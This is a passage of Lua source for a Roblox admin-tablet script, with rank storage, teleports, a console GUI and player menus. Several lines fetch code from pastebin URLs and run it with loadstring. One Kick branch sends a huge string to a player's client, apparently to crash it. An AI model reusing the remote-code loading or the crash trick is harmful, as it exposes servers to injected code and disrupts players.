- end
- v3=function(a,b,c)
- return Vector3.new(a,b,c)
- end
- _rgb=function(r,g,b)
- return Color3.new(r/255,g/255,b/255)
- end
- rcolor=function(num)
- local c=rank[num]
- if not c then c='White'end
- return c
- end
- testlocal=plrs.LocalPlayer
- if testlocal then datastores=false logs.write'local mode is on, saved functions not available'end
- cmds={}
- enabled=true
- pserveradmins=game:GetService'TeleportService':ReserveServer(game.PlaceId)
- t={}
- t.size=Vector3.new(1.5,1.5,1.5)
- t.trans=0
- tabindiv={'dmself'}
- t.shape='cube'
- t.db_view='PLR'
- shapes={
- ['cube']=v3(1.5,1.5,1.5),
- ['flat']=v3(.2,4,3),
- ['mini']=v3(.3,.3,.3),
- ['table']=v3(2.1,.3,2.1),
- }
- rejoin=function(plr)
- game:GetService'TeleportService':Teleport(game.PlaceId,plr)
- end
- tptoplace=function(id,plr)
- game:GetService'TeleportService':Teleport(id,plr)
- end
- createnewserver=function(namelelxd)
- local TS=game:GetService'TeleportService'
- table.insert(cps,""..namelelxd.."={'Name'="..tostring(namelelxd)..", 'ServerId'="..TS:ReserveServer(game.PlaceId).."}")
- end
- privateserver=function(plr)
- local TS = game:GetService("TeleportService")
- if psacode == nil then
- psacode=TS:ReserveServer(game.PlaceId)
- end
- TS:TeleportToPrivateServer(game.PlaceId,psacode,plr)
- end
- privateserverself=function(name)
- local TS = game:GetService("TeleportService")
- local code = TS:ReserveServer(game.PlaceId)
- TS:TeleportToPrivateServer(game.PlaceId,code,name)
- end
- function Make(ClassName)
- return function(data)
- local Instance = Instance.new(ClassName)
- for index,value in pairs(data) do
- if type(index) == "number" then
- value.Parent = Instance
- else
- Instance[index] = value
- end
- end
- return Instance
- end
- end
- function Terminal(Player)
- if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
- spawn(function()
- local Create = Make
- local Closed = false
- local ScreenGui = Create "ScreenGui" {
- Name = "Server Console",
- Parent = Player.PlayerGui
- }
- local Main = Create "TextButton" {
- AutoButtonColor = false,
- BackgroundColor3 = Color3.new(0, 0, 0),
- BorderSizePixel = 0,
- Size = UDim2.new(0, 375, 0, 15),
- Draggable = true,
- Font = "SourceSansBold",
- FontSize = "Size14",
- TextYAlignment = "Top",
- TextColor3 = Color3.new(1, 1, 1),
- Text = " Server Console",
- TextXAlignment = "Left",
- Position = UDim2.new(0.321, 0, 0.196, 0),
- Parent = ScreenGui
- }
- local Refresh = Create "TextButton" {
- Active = true,
- AutoButtonColor = false,
- BackgroundColor3 = Color3.new(0, 0, 0),
- BorderSizePixel = 0,
- Position = UDim2.new(1, 0, 0, 0),
- Size = UDim2.new(0, 60, 0, 15),
- Font = "SourceSansBold",
- FontSize = "Size14",
- Text = "Close",
- TextYAlignment = "Top",
- TextColor3 = Color3.new(1, 1, 1),
- TextYAlignment = "Top",
- TextXAlignment = "Right",
- Parent = Main
- }
- local TextButton = Create "TextButton" {
- AutoButtonColor = false,
- BackgroundColor3 = Color3.new(0, 0, 0),
- BorderSizePixel = 0,
- Position = UDim2.new(1, 60, 0, 0),
- Size = UDim2.new(0, 15, 0, 15),
- Font = "SourceSansBold",
- FontSize = "Size14",
- TextYAlignment = "Top",
- Text = "-",
- TextColor3 = Color3.new(1, 1, 1),
- Parent = Main
- }
- local ContentFrame = Create "Frame" {
- BackgroundColor3 = Color3.new(0, 0, 0),
- BackgroundTransparency = 0.2,
- BorderSizePixel = 0,
- Position = UDim2.new(0, 0, 0, 15),
- Size = UDim2.new(0, 450, 0, 0),
- Parent = Main
- }
- local ScrollingFrame = Create "ScrollingFrame" {
- Size = UDim2.new(1, 0, 1, 0),
- CanvasSize = UDim2.new(3, 0, 0, 0),
- MidImage = "rbxassetid://158362264",
- TopImage = "rbxassetid://158362307",
- BottomImage = "rbxassetid://158362221",
- BackgroundTransparency = 1,
- BorderSizePixel = 0,
- ScrollBarThickness = 5,
- Parent = ContentFrame
- }
- ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
- TextButton.MouseButton1Down:connect(function()
- if Closed == false then
- Closed = true
- TextButton.Text = "+"
- ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
- delay(1, function()
- ScrollingFrame.Visible = false
- end)
- else
- Closed = false
- TextButton.Text = "-"
- ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
- delay(0.5, function()
- ScrollingFrame.Visible = true
- end)
- end
- end)
- local function GetNumberOfChildren(Object)
- local Number = -15
- for index,child in pairs(Object:GetChildren()) do
- if child.ClassName == "TextLabel" then
- Number = Number + 15
- end
- end
- return Number
- end
- local function Output(Text, Color)
- local Line = Create "TextLabel" {
- ZIndex = 2,
- BackgroundTransparency = 1,
- BorderSizePixel = 0,
- Text = string.format(" %s", Text),
- Font = "SourceSansBold",
- FontSize = "Size14",
- TextColor3 = Color,
- TextWrapped = false,
- Size = UDim2.new(1, 0, 0, 15),
- Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
- TextXAlignment = "Left",
- TextYAlignment = "Top",
- TextStrokeTransparency = 0.9,
- Parent = ScrollingFrame,
- }
- if #ScrollingFrame:GetChildren() > 29 then
- local NumChildren = GetNumberOfChildren(ScrollingFrame)
- ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
- ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
- end
- end
- local function OutputLogHistory()
- for index,data in pairs(game.LogService:GetLogHistory()) do
- if data.messageType == Enum.MessageType.MessageOutput then
- Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
- elseif data.messageType == Enum.MessageType.MessageWarning then
- Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
- elseif data.messageType == Enum.MessageType.MessageError then
- Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
- elseif data.messageType == Enum.MessageType.MessageInfo then
- Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
- end
- end
- end
- Refresh.MouseButton1Down:connect(function()
- ScreenGui:Destroy();
- end)
- while Main do
- OutputLogHistory()
- end
- end)
- end
- end
- function priserver(player,message)
- if (message:len () == 0) then
- message = '\1';
- end;
- local teleportService, players, dataStore, dataStoreTable do
- teleportService = game:service 'TeleportService';
- players = game:service 'Players';
- dataStore = priservers;
- dataStoreTable = priservertable;
- local code = dataStore:getAsync (message);
- if (not code) then
- code = teleportService:ReserveServer (game.placeId);
- dataStore:setAsync (message, code);
- table.insert(mytableforservers,message)
- dataStoreTable:setAsync('myTable',mytableforservers)
- end;
- --Wait ();
- teleportService:teleportToPrivateServer (game.placeId, code, {player});
- end;
- end;
- privateserveradmins=function(plr)
- local TS = game:GetService("TeleportService")
- TS:TeleportToPrivateServer(game.PlaceId,pserveradmins,plr)
- end
- shape=function(s)
- t.shape=s
- t.size=shapes[t.shape]
- end
- shape('cube')
- ds={}
- ds.s=game:service'DataStoreService':GetDataStore(key)
- whitelist=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/KXbQntm6'))()--]]
- ircdatastore = loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/gCFapx9V'))()
- ircdskey = "--LegitDiscordHookIRCKey--"
- ircds={}
- censors=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/et3qr6BR'))()--{'/e','h/','hl/'}
- ircds.s=game:service'DataStoreService':GetDataStore(ircdskey)
- ircwhitelist={}
- discordcensor=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/QqDH7EMV'))()--true
- ircds.whole=function()
- if not ircdatastore then return end
- if not ircds.s:GetAsync'users'then
- ircds.s:SetAsync('users',whitelist)
- return ircds.s:GetAsync'users'
- else
- return ircds.s:GetAsync'users'
- end
- end
- if ircdatastore then
- ircwhitelist=ircds.whole()
- elseif not ircdatastore then
- ircwhitelist=whitelist
- ircds.save=function() -- // CALL WHENEVER SAVING DATA
- ircds.s:SetAsync('users',ircwhitelist)
- end
- end
- MLGSND=nil
- pd={}
- str={}
- str.firstc=function(st)
- return st:sub(1,1):upper()..st:sub(2):lower()
- end
- --std lib by badfractions
- inTable=function(tbl,val)
- for i,v in pairs(tbl)do
- if v==val then return true end
- end
- return false
- end
- remTable=function(tbl,val)
- for i,v in pairs(tbl)do
- if v==val then table.remove(i) end
- end
- end
- formatstr=function(str)
- local l=string.len(str)
- local orig=''
- for i=1,l do
- orig=orig..str:sub(i,i)..''
- end
- return orig
- end
- merge=function(t1, t2)
- for k, v in pairs(t2) do
- if (type(v) == "table") and (type(t1[k] or false) == "table") then
- merge(t1[k], t2[k])
- else
- t1[k] = v
- end
- end
- return t1
- end
- --end std lib
- --player>>{rank,color}
- -- // Legit ranking system - bad \\ --
- ds.props={'name','rank','reason','wave','color','rot','locked','neon','shape'}
- ds.whole=function()
- if not datastores then return end
- if not ds.s:GetAsync'users'then
- ds.s:SetAsync('users',baseranked)
- return ds.s:GetAsync'users'
- else
- return ds.s:GetAsync'users'
- end
- end
- users=ds.whole()
- mytableforservers = priservertable:getAsync('myTable')
- ds.new=function(name,rank,reason)
- ranr=rank or 0
- reason=reason or 'None'
- local newprof={name,rank,reason,false,'White','circlerand',{},false,'cube'}
- table.insert(users,newprof)
- return newprof
- end
- ds.set=function(plrn,indxe,valyu)
- local db=ds.get(plrn)
- if db==nil then return end
- for iww,vww in pairs(ds.props)do
- if indxe:lower()==vww:lower()then db[iww]=valyu;end
- end
- end
- ds.get=function(plrn,itemxx)
- local plrzzz=_plr(plrn) if plrzzz then plrn=plrzzz.Name end
- local prof=nil
- for iww,vww in pairs(users)do if vww[1]~=nil then if vww[1]==plrn then prof=users[iww]break end;end;end
- if prof==nil then prof=ds.new(plrn)end
- if prof[5]==nil then prof[5]='White';end
- if prof[4]==nil then prof[4]=false;end
- if prof[6]==nil then prof[6]='circlerand';end
- if prof[7]==nil then prof[7]={};end
- if prof[8]==nil then prof[8]=false;end
- if prof[9]==nil then prof[9]='cube';end
- if itemxx==nil then return prof
- else
- itemxx=itemxx:lower()
- for iww,vww in pairs(ds.props)do
- if itemxx:lower()==vww:lower()then return prof[iww]end
- end
- end
- end
- ds.prof=function(plr)
- local plrc=_plr(plr)if plrc then plr=plrc.Name end
- local proff=nil
- for iee,vee in pairs(users)do if vee[1]~=nil then if vee[1]==plr then proff=users[iee]break end;end;end
- return proff
- end
- ds.default=function(prof)
- if not prof then return true end
- --print(list(prof))
- if #prof~=#ds.props then return true end
- if prof[2]==nil then return true end
- if prof[2]==0 and prof[4]==false and prof[5]=='White' and prof[6]=='rand'then return true end
- return false
- end
- ds.save=function() -- // CALL WHENEVER SAVING DATA
- local get={}
- for i,v in pairs(users)do
- if not ds.default(v)then
- table.insert(get,v)
- end
- end
- ds.s:SetAsync('users',get)
- end
- --[[ds.plr=function(plr)
- plr=_plr(plr)
- local prof=nil
- local i=0
- if plr==nil then return {}
- for i,v in pairs(users)do if v[1]~=nil then if v[1]==plr.Name then prof=users[i]break end;end;end
- return prof,i
- end
- end--]]
- ds.setrank=function(plr,rank)
- --local dat,ind=ds.plr(plr)
- local der=ds.get(plr)
- der[2]=rank
- end
- ds.getrank=function(plr)
- local plro=_plr(plr)
- if not plro then plro=plr else plro=plro.Name end
- local d=ds.get(plro,'rank')
- if d then return tonumber(d) end
- return 0
- end
- for i,v in pairs(ds)do
- if not datastores then v=(function()print'Datastores are not enabled'return;end) end
- end
- for i,v in pairs(baseranked)do
- ds.setrank(v[1],v[2])
- end
- ps={}
- ps.wave=function(plr)
- return ds.get(plr,'wave')
- end
- ps.color=function(plr)
- return ds.get(plr,'color')
- end
- ps.rot=function(plr)
- return ds.get(plr,'rot')
- end
- ps.neon=function(plr)
- local dzzzz=ds.get(plr,'neon')
- if dzzzz=='true' or dzzzz==true then return true
- else return false end
- end
- ps.shape=function(plr)
- return ds.get(plr,'shape')
- end
- ps.islocked=function(cmdname,plr)
- local lc=ds.get(plr,'locked')
- for i,v in pairs(lc)do
- if v:lower()==cmdname:lower()then return true end
- end
- end
- wait(.2)
- ds.save()
- safe={}
- safe.r=function(fn)
- pcall(function()fn'';end)
- end
- for i,v in pairs(plrs:GetPlayers())do
- ds.getrank(v.Name)
- end
- setrank=function(plr,num)
- plr=_plr(plr)
- if not plr then return end
- ds.setrank(plr.Name,num)--error here
- end
- getrank=function(plr)
- local d=ds.getrank(plr)
- if d then return d else return 0 end
- end
- m={}
- m.ds=ds.s
- stack={}
- m.getlib=function()
- if not datastores then return music end
- return m.ds:GetAsync('music')--{ ['song']={id,genre} }
- end
- m.setlib=function(lib)
- music=lib
- if not datastores then return end
- m.ds:SetAsync('music',lib)
- end
- m.save=function()
- m.setlib(music)
- end
- m.curr=nil
- m.addsong=function(name,id,genre)
- if not datastores then return end
- music[name]={id,genre}
- m.setlib(music)
- end
- m.play=function(id,sstop,...)
- local ex={...}
- if sstop then
- if MLGSND~=nil then
- if MLGSND.Parent~=nil then
- MLGSND:Stop()
- MLGSND:remove()
- MLGSND=nil
- end
- end
- return
- end
- m.play(nil,true)
- if silentmode then return end
- MLGSND=Instance.new'Sound'
- MLGSND.Name='MLGSND'
- MLGSND.Parent=script
- MLGSND.SoundId=urlf..tostring(id)
- MLGSND.Volume=ex.VOL or .5
- MLGSND.Pitch=ex.PIT or 1
- MLGSND.Looped=ex.LOO or true
- MLGSND:Play()
- m.curr=id
- cid=urlf..tostring(id)
- end
- m.stopmusic=function(root,deep)
- for i,v in pairs(root:children'')do
- if v.Parent then if v:IsA'Sound'then v:Stop()v:remove()end;end
- if deep then
- m.stopmusic(v,true)
- end
- end
- end
- m.stopmusico=function(root,deep)
- for i,v in pairs(root:children'')do
- if v.Parent then if v:IsA'Sound'and v.Name~='MLGSND'then v:Stop()v:remove()end;end
- if deep then
- m.stopmusic(v,true)
- end
- end
- end
- music=m.getlib()
- --give the music lib some time
- wait(.1)
- logs.write'loaded libraries'
- prl=game:GetService'ContentProvider'
- music={}
- for i,v in ipairs(music) do
- prl:Preload('rbxassetid://'..v[1])
- end
- changetabsize=function(v3new)
- t.size=v3new
- end
- function Kick(plr)
- if game.PlaceId==178350907 then
- plr:Kick(Reason)
- elseif game.PlaceId==20279777 then
- Instance.new("RemoteEvent",plr):FireClient(plr,{string.rep("a",2e5+5)})
- elseif game.PlaceId==21053279 then
- plr:remove()
- elseif game.PlaceId==210101277 then
- plr:remove()
- else
- plr:remove()
- end
- end
- dictionary=function(content)
- local h=game:service'HttpService'
- local basel="http://en.wikipedia.org/w/api.php?format=json&action=query&titles="..content
- return(tostring(h:GetAsync(basel)))
- --magiclaxnoob=(tostring(h:PostAsync(basel,base)))
- end
- updateevents=function()
- for i,v in pairs(events)do
- v:disconnect()
- end
- if not enabled then return end
- for i,v in pairs(plrs:players())do
- local ev=v.Chatted:connect(function(msg)
- chat(msg,v)end)
- events[#events+1]=ev
- end
- end
- getPlayerTabs=function(plr)
- if tabs[plr]then return tabs[plr]end
- tabs[plr]={}
- return tabs[plr]
- end
- rem=function(tablet)
- if not tablet then return end
- if tablet.Name=='x'then return end
- delay(0,function()
- local s=tablet.Size
- tablet.Name='x'
- if tablet:FindFirstChild'ClickDetector'then
- tablet.ClickDetector:remove()
- end
- if tablet:FindFirstChild'Text' then
- tablet.Text:remove()
- end
- local s=tablet.Size
- if not skipanim then
- for i=1,0,-.33 do
- tablet.Size=s*i
- tablet.Transparency=1-i
- wait(.05)
- end
- end
- tablet:remove()
- end)
- end
- tabmodel=function(place)
- if not place:FindFirstChild('MLG_group')then
- local m=Instance.new'Model'
- m.Parent=place
- m.Name='MLG_group'
- return m
- else
- return place.MLG_group
- end
- end
- insertmenu=function(speaker)
- dmp(speaker)
- _tab('Admin Tablets','Cyan',speaker,function()
- dmp(speaker)
- _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
- _tab('Go back','Teal',speaker,function() insertmenu(speaker) end)
- for _,v in pairs(AdminTabLoaders) do
- _tab(v.Name,v.Color14,speaker,function()
- dmp(speaker)
- _tab("Created by: "..v.Creator,'Deep orange',speaker)
- _tab("Loader Id: "..v.LoaderId,'Cyan',speaker)
- _tab("Load",'Lime green',speaker,function()
- local ld="c/require("..v.LoaderId..")"..v.Custom
- sbexe(ld,speaker)
- dmp(speaker)
- _tab(v.Name.." has loaded succesfully!",'Lime green',speaker)
- end)
- _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
- _tab('Go back','Teal',speaker,function() insertmenu(speaker) end)
- end)
- end
- end)
- _tab('Saved items','Cyan',speaker,function()
- dmp(speaker)
- _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
- _tab('Go back','Teal',speaker,function() insertmenu(speaker) end)
- for _,v in pairs(CatalogItems) do
- _tab(v.Name,v.Color14,speaker,function()
- dmp(speaker)
- _tab("Created by: "..v.Creator,'Deep orange',speaker)
- _tab("Id: "..v.LoaderId,'Cyan',speaker)
- _tab("Load",'Lime green',speaker,function()
- local assgadg="c/game:service'InsertService':LoadAsset("..v.LoaderId..")"
- sbexe(assgadg,speaker)
- end)
- _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
- _tab('Go back','Teal',speaker,function() insertmenu(speaker) end)
- end)
- end
- end)
- _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
- end
- dmp=function(player)
- local plr=_plr(player)
- if plr then
- for i,v in pairs(tabs[plr.Name])do
- rem(v)
- end
- end
- end
- getAllWithPerm=function(rankrr)
- local asdf={}
- for imm,vrttt in pairs(plrs:GetPlayers())do
- if tonumber(getrank(vrttt))>=rankrr then
- table.insert(asdf,vrttt.Name)
- end
- end
- return asdf
- end
- newserver=function(id)
- for i=1,1 do
- logs.write'making server'
- game:GetService'HttpService':GetAsync('http://classy-studios.com/APIs/JoinGame.php?GameID='..tonumber(id),true)
- end
- end
- function PBase()
- local m = Instance.new("Model")
- m.Name = "Model"
- p1 = Instance.new("Part", m)
- p1.Parent = workspace.Base
- p1.BrickColor = BrickColor.new("Bright green")
- p1.Material = "Grass"
- p1.CFrame = CFrame.new(-4793.64062, 0.5, -813.582947, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- p1.Anchored = true
- p1.FormFactor = Enum.FormFactor.Symmetric
- p1.Size = Vector3.new(853.130005, 1, 769.72998)
- m.Parent = game:service("Workspace")
- m:MakeJoints()
- end
- function TPBase(Plr)
- Plr.Character.Torso.CFrame = CFrame.new(-4709.024, 9.17, -785.641)
- end
- _tab=function(text,color,plrn,fn,fne,delayt) --text , scheme (box c), function, player object, final extra, time till poofy poof
- --wait'1/44'
- --pcall(function()
- if silentmode then return end
- if delayt==nil then delayt=0 end
- if not enabled then return end
- local plrn=_plr(plrn)
- if type(plrn)~='userdata'then return end
- if not plrn:IsA'Player'then return end
- local plr=plrn.Name
- local plrtabs=getPlayerTabs(plr)
- if not plrn.Character then return end
- local tab=Instance.new('Part')
- local tabmesh=Instance.new('BlockMesh',tab)
- local cd=Instance.new('ClickDetector',tab)
- local sb=Instance.new('SelectionBox',tab)
- local color=color
- color=color or defaultcolor
- ncolor=color
- if type(color) == type("String") then
- if color == "random" then
- local r=randin(colors)
- print(r)
- ncolor = BrickColor.new(r)
- else
- ncolor = BrickColor.new(color)
- end
- end
- tab.BrickColor=ncolor--BrickColor.new'White'
- tab.Anchored=true
- tab.FormFactor='Custom'
- tab.Size=Vector3.new(.6,.7,.6)
- tab.Parent=game:service'Workspace'.Terrain
- tab.Material=ps.neon(plr) and 'Neon' or 'Plastic'
- local mysize=shapes[ps.shape(plr)]
- for i,v in pairs(shapes)do
- if mysize==v then
- tab.Name=i
- end
- end
- tab.Transparency=t.trans
- tab.CanCollide=false
- local cftp=plrn.Character.Torso.CFrame
- local pos=cftp.p--+Vector3.new(0,10,0)
- tab.CFrame=CFrame.new(pos)
- if text==''then text=' 'end
- pcall(function()tab:findFirstChild("Text"):Destroy()end)
- local b = Instance.new("BillboardGui",tab)
- b.Name = "Text"
- b.Adornee = tab
- b.Size = UDim2.new(6.5,0,2.5,0)
- b.AlwaysOnTop = false
- b.StudsOffset = Vector3.new(0,5,0)
- local lbl = Instance.new("TextLabel",b)
- lbl.Size = UDim2.new(1,0,1,0)
- lbl.Text = formatstr(tostring(text))
- lbl.TextScaled = true
- lbl.TextWrapped = false
- lbl.Font = "SourceSansBold"
- lbl.FontSize="Size18"
- local pl=Instance.new'PointLight'
- pl.Parent=tab
- pl.Color=ncolor.Color--Color3.new(1,1,1)
- lbl.TextStrokeColor3 = ncolor.Color
- lbl.TextColor3 = ncolor.Color--Color3.new(1,1,1)
- lbl.TextStrokeTransparency = 1
- lbl.TextTransparency = 0
- lbl.BackgroundTransparency = 1
- lbl.ZIndex = 10
- if skipanim then tab.Size=t.size else
- delay(0,function()
- for i=0,1,.2 do
- wait'1/44'
- tab.Size=mysize*i
- end
- tab.Size=mysize
- end)
- end
- if delayt~=0 then
- delay(delayt,function()
- if tab then
- rem(tab)
- end;
- end)
- end
- sb.Color=(ncolor)
- sb.Transparency=1
- sb.Adornee=tab
- cd.MaxActivationDistance=math.huge
- cd.MouseHoverEnter:connect(function(plrn)
- if plrn.Name==plr then
- --for i=1,1.5,.25 do
- -- wait'1/44'
- -- tab.Size=t.size*i
- --end
- tab.Transparency=0
- tab.Size=mysize*1.5
- end
- end)
- cd.MouseHoverLeave:connect(function(plrn)
- if plrn.Name==plr then
- --tab.Size=t.size
- --repeat wait()until (tab.Size-t.size*1.5).magnitude<.1 and tab.Name~='x'
- --for i=1.5,1,-.25 do
- -- wait'1/44'
- -- tab.Size=t.size*i
- --end
- tab.Size=mysize
- tab.Transparency=t.trans
- end
- end)
- local pressed=false
- cd.MouseClick:connect(function(clicker)
- if clicker.Name==plr then
- if fn~='' and tab.Name~='x'and fn~=nil and pressed==false then
- fn(tab)pressed=true
- end
- if fne=='dmself'then
- rem(tab)
- end
- end
- end)
- table.insert(tabs[plr],tab)
- --end)
- end
- --game:service'Lighting'.Outlines=false
- _dmtab=function(player)
- local plr=_plr(player)
- _tab('Dismiss','Really red',plr,
- function()
- dmp(player)
- end)
- end
- hasPermission=function(player,command)
- local plrz=_plr(player)
- local plr=getrank(plrz.Name)
- local cmd=command;
- if type(command)=='table'then cmd=command.PERM;end;
- if not plr then return false;end;
- if plr>=cmd then return true;end;
- return false;
- end
- alert={}
- alert.g=function(txt,g)
- for i,v in pairs(getAllWithPerm(g))do
- _tab(tostring(txt),ps.color(v),v,'','dmself',4)
- end
- end
- alert.p=function(txt,p)
- local p=_plr(p)
- if p then
- _tab(txt,c.white,p,'','dmself',3)
- end
- end
- alert.c=function(txt,col,plr,t)
- if t==nil then t=0 end
- if not txt or not col or not plr then return end
- local plr=_plr(plr)if plr==nil then return end
- _tab(txt,col,plr,'','dmself',t)
- end
- aliasof=function(tbl,base)
- for i,v in pairs(tbl)do
- if v:lower()==base:lower()then
- return true
- end
- end
- return false
- end
- getbase=function(msg)
- msg=msg
- local s=msg:find(suffix)
- if s~=nil then
- return msg:sub(0,s-1),s
- end
- return msg,(string.len(msg)+1)
- end
- getargb=function(msg)
- if msg~=nil then
- if msg:sub(1,1):lower()==suffix then
- local a,b=getbase(msg:sub(2))
- --print(a)
- --print(b)
- return a,b
- end
- end
- return '',0
- end
- matchtblv=function(tbl,key)
- local found={}
- pcall(function()
- for i,v in pairs(tbl)do
- if v:lower():find(key:lower())~=nil then
- table.insert(found,v)
- end
- end;end)
- return found
- end
- changerank=function(plr,speaker)
- local plrc=_plr(plr)
- if plrc then plr = plrc.Name end
- local speaker=speaker
- if (getrank(plr)>=getrank(speaker))then return end
- if getrank(plr)<2e9 then return end
- _dmtab(speaker)
- _tab('changing rank of '..plr,n,speaker)
- local nmddd=0
- for nmddd=-1,5 do
- if nmddd>=getrank(speaker)and not getrank(speaker)==5 then else
- _tab(nmddd,c.snd,speaker,
- function()
- ds.set(plr,'Rank',nmddd)
- dmp(speaker)
- if nmddd==-1 or nmddd==0 and pri then
- Kick(plrc)
- else
- alert.p(plr..' is now rank '..tostring(nmddd),speaker)
- if plrc then
- alert.p('you are now rank '..tostring(nmddd),plrc)end
- end
- end)
- end
- end
- end
- matchtbli=function(tbl,key)
- local found={}
- for i,v in pairs(tbl)do
- if tostring(i):lower():find(key:lower())~=nil then
- table.insert(found,i)
- end
- end
- return found
- end
- plrfunc=function(plr,speaker)
- dmp(speaker)
- _dmtab(speaker)
- local pss=ps.color(plr)
- _tab('Back','Maroon',speaker,function()plrmen(plr,speaker)end)
- if plr~=speaker and getrank(speaker)>getrank(plr) and getrank(speaker)>=4 then
- _tab('kick',pss,speaker,function()Kick(plr)end)
- if datastores then
- _tab('ban',pss,speaker,function()table.insert(banlist,plr.Name)setrank(plr.Name,-1)Kick(plr)end)
- end
- end
- if getrank(speaker)>=3 then
- _tab('god',pss,speaker,function()pcall(function()plr.Character.Humanoid.MaxHealth=math.huge;end)end)
- _tab('kill',pss,speaker,function()pcall(function()plr.Character.Head:remove()plr.Character.Humanoid.Health=0;end)end)
- end
- end
- function rainbow(hue)
- local section = hue % 1 * 3
- local secondary = 0.5 * math.pi * (section % 1)
- if section < 1 then
- return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
- elseif section < 2 then
- return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
- else
- return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
- end
- end
- wavemenu=function(plr,speaker)
- dmp(speaker)
- local pc=ps.color(plr)
- _tab('Enable',c.green,speaker,
- function(tabc)
- local e=ds.get(plr)
- ds.set(plr,'wave',true)
- e[4]=true
- end)
- _tab('Disable',c.red,speaker,
- function(tabc)
- local e=ds.get(plr)
- ds.set(plr,'wave',false)
- e[4]=false
- end)
- end
- rotmenu=function(plr,speaker)
- dmp(speaker)
- pc=ps.color(plr)
- _tab('Layered',pc,speaker,function()
- dmp(speaker)
- _tab('Layered flat',pc,speaker,
- function(tabc)
- dmp(speaker)
- ds.set(plr,'rot','lf')
- ds.set(plr,'shape','cube')
- end)
- _tab('Layered rand',pc,speaker,
- function(tabc)
- dmp(speaker)
- ds.set(plr,'rot','lrand')
- ds.set(plr,'shape','cube')
- end)
- end)
- _tab('Circle',pc,speaker,function()
- dmp(speaker)
- _tab('Circle rand',pc,speaker,
- function(tabc)
- dmp(speaker)
- ds.set(plr,'rot','circlerand')
- ds.set(plr,'shape','cube')
- end)
- _tab('Circle flat',pc,speaker,
- function(tabc)
- --local e=ds.get(plr)
- dmp(speaker)
- ds.set(plr,'rot','circleflat')
- ds.set(plr,'shape','cube')
- --e[6]='circleflat'
- end)
- _tab('Circle mini',pc,speaker,
- function(tabc)
- --local e=ds.get(plr)
- dmp(speaker)
- ds.set(plr,'rot','circlemini')
- ds.set(plr,'shape','mini')
- --e[6]='circleflat'
- end)
- _tab('Circle table',pc,speaker,
- function(tabc)
- --local e=ds.get(plr)
- dmp(speaker)
- ds.set(plr,'rot','circletable')
- ds.set(plr,'shape','table')
- --e[6]='circleflat'
- end)
- _tab('Flat tab',pc,speaker,
- function(tabc)
- --local e=ds.get(plr)\
- dmp(speaker)
- ds.set(plr,'rot','flattab')
- ds.set(plr,'shape','flat')
- end)
- end)
- end
- MLGmenu=function(plr,speaker)
- dmp(speaker)
- pc=ps.color(plr)
- _tab('Dismiss','Really red',plr,
- function()
- dmp(plr)
- end)
- --[[ _tab('Filtering',pc,speaker,function()
- dmp(speaker)
- _tab('Enable',pc,speaker,function()
- game:service'Workspace'.FilteringEnabled=true
- dmp(speaker)
- _tab('Filtering has been enabled.',plr,function()
- dmp(plr)
- end)
- end)
- _tab('Disable',pc,speaker,function()
- game:service'Workspace'.FilteringEnabled=false
- dmp(speaker)
- _tab('Filtering has been disabled.',plr,function()
- dmp(plr)
- end)
- end)
- _tab('Go back','Really red',plr,
- function()
- dmp(plr)
- local targ=speaker
- MLGmenu(targ,speaker)
- end)
- _tab('Dismiss','Really red',plr,function()
- dmp(plr)
- end)
- end)--]]
- _tab('TimeOfDay',pc,speaker,function()
- dmp(speaker)
- _tab('Go Back','Really red',plr,
- function()
- dmp(plr)
- local targ=speaker
- MLGmenu(targ,speaker)
- end)
- _tab('Dismiss','Really red',plr,
- function()
- dmp(plr)
- end)
- _tab(game:service'Lighting'.TimeOfDay,pc,speaker,
- function(tabc)
- dmp(speaker)
- end)
- end)
- _tab('Options',pc,speaker,function()
- dmp(speaker)
- _tab('Dismiss','Really red',plr,
- function()
- dmp(plr)
- end)
- _tab('Go Back','Really red',plr,
- function()
- dmp(plr)
- local targ=speaker
- MLGmenu(targ,speaker)
- end)
- _tab('Gold',pc,speaker,
- function(tabc)
- dmp(speaker)
- for i,v in pairs(speaker.Character:children'') do
- if v:IsA'Part' then
- v.BrickColor = BrickColor.new("Bright yellow")
- v.Reflectance = 0.5
- end
- end
- end)
- _tab('Silver',pc,speaker,
- function(tabc)
- dmp(speaker)
- for i,v in pairs(speaker.Character:children'') do
- if v:IsA'Part' then
- v.BrickColor = BrickColor.new("Medium stone grey")
- v.Reflectance = 0.5
- end
- end
- end)
- _tab('Fire',pc,speaker,
- function(tabc)
- dmp(speaker)
- for i,v in pairs(speaker.Character:children'') do
- if v:IsA'Part' then
- Instance.new("Fire",v)
- end
- end
- end)
- _tab('Sparkles',pc,speaker,
- function(tabc)
- dmp(speaker)
- for i,v in pairs(speaker.Character:children'') do
- if v:IsA'Part' then
- Instance.new("Sparkles",v)
- end
- end
- end)
- _tab('Invisible',pc,speaker,
- function(tabc)
- dmp(speaker)
- for i,v in pairs(speaker.Character:children'') do
- if v:IsA'Part' then
- v.Transparency = 1
- end
- end
